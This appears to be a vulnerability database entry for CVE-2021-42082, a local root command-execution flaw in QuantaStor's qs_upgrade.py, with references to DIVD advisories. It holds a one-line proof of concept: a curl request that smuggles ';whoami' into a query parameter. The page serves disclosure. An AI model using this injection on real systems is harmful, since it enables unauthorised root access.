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High severity7.8NVD Advisory· Published Jul 10, 2023· Updated Jun 17, 2026

CVE-2021-42082

CVE-2021-42082

Description

Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami'

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

2

Nexus Concepts/qs_upgrade.pyllm-create
Nexus Concepts/Quantastorv5
Range: 0

Patches

Vulnerability mechanics

References

5

csirt.divd.nl/CVE-2021-42082nvdThird Party Advisory
www.wbsec.nl/osnexusnvdThird Party Advisory
www.osnexus.com/products/software-defined-storagenvdProduct
csirt.divd.nl/DIVD-2021-00020/nvd
www.divd.nl/DIVD-2021-00020nvd

News mentions

0

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